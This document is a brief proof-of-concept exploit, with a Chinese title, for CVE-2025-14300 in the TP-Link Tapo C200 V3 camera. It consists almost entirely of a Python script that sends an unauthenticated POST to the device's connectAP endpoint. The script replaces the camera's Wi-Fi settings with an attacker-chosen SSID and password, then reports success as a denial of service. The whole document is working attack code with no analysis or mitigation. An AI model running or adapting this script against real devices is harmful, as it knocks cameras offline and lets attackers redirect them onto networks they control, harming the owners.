CVE-2025-14300: TP-Link Tapo C200 V3 未授权Wi-Fi配置修改漏洞

import requests import json # CVE-2025-14300 PoC - Tapo C200 V3 Unauthenticated WiFi Config Modification # Target: TP-Link Tapo C200 V3 device on local network target_ip = "192.168.1.100" # Replace with actual device IP target_port = 443 # Malicious WiFi configuration malicious_wifi = { "ssid": "EvilNetwork", "password": " attacker-controlled-password" } # Construct the exploit request to connectAP endpoint url = f"https://{target_ip}:{target_port}/app/connectAP" headers = { "Content-Type": "application/json", "User-Agent": "TapoCamera/1.0" } # Send unauthenticated request to modify WiFi configuration try: response = requests.post(url, json=malicious_wifi, headers=headers, verify=False, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] WiFi configuration modified successfully - Device DoS achieved") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")